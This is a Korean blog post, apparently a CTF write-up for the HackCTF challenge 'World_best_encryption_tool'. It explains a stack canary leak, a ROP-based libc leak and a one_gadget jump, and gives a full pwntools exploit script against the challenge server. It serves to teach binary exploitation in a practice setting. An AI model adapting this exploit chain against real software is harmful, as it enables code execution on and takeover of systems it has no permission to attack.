Profile

youngsouk

youngsouk

[hackctf]World_best_encryption_tool

checksec를 이용해서 봤을때 카나리가 있기때문에 그것을 고려해서 익스를 짜야 된다.  따라서 

1.카나리 릭

2. 다시 1번 입력을 받아서 ROP로 libc 릭

3. one_gadget 이용후 익스

 

카나리는 하위 1바이트가 무조건 \x00 이므로 릭을 하기 위해서는 카나리를 딱 1바이트만 덮어서 \x00을 덮어버린다. 그 후에 출력되는 것을 릭 완료다.

 

저기서 mov [rbp + var_8]이 카나리 부분이다. 이 부분을 릭하려면 

저 strncpy가 있기 때문에 (0x40-8)만큼 문자를 입력하고 그 뒤가 바로 카나리 부분이므로 딱 1문자만 입력하게 되면 카나리 부분까지가 출력되기 때문이다. 왜냐하면 일반적으로 출력을 할 때 널문자(\x00)를 만나기 전까지 출력하기 때문인데 우리가 카나리 부분의 \x00을 덮었기 때문이다.

일케 카나리를 릭한 뒤는 간단하다. 카나리를 신경쓰면서 payload를 작성해주어서 보내면 된다.

from pwn import *

#p = process('./World_best_encryption_tool')
p = remote('ctf.j0n9hyun.xyz', 3027)
e = ELF('./World_best_encryption_tool')

context.log_level = "debug"

pause()
main = 0x400727

p_r = 0x00000000004008e3

#Canary
payload = 'a' * (0x40-8) + 'b'

p.sendline(payload)

p.recvuntil('b')
canary = u64(p.recv(7).rjust(8,'\x00'))

log.info('canary : ' + hex(canary))

p.recv()
p.sendline('Yes')

#libc
payload = 'a' * (0x40  - 8) + p64(canary)
payload += 'a' * (0x80- len(payload) - 8) + p64(canary) + 'b' * 8

payload += p64(p_r)
payload += p64(e.got['setvbuf'])
payload += p64(e.plt['puts'])

payload += p64(main)

p.sendline(payload)

p.sendline('No')
p.recvuntil('o)\n')
p.recvuntil('o)\n')
libc = u64(p.recv(6).ljust(8,'\x00')) - 0x000000000006fe70
log.info('libc : ' + hex(libc))

#exploit
payload = 'a' * (0x40  - 8) + p64(canary)
payload += 'a' * (0x80- len(payload) - 8) + p64(canary) + 'b' * 8

payload += p64(libc + 0x45216)

p.sendline(payload)
p.recv()
p.sendline('No')

p.interactive()

 

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf] babyfsb  (0) 2019.08.25
[hackctf] 풍수지리설  (0) 2019.08.20
[hackctf]register  (0) 2019.07.21
[hackctf]rtc  (0) 2019.07.19
[hackctf]pwning  (0) 2019.07.18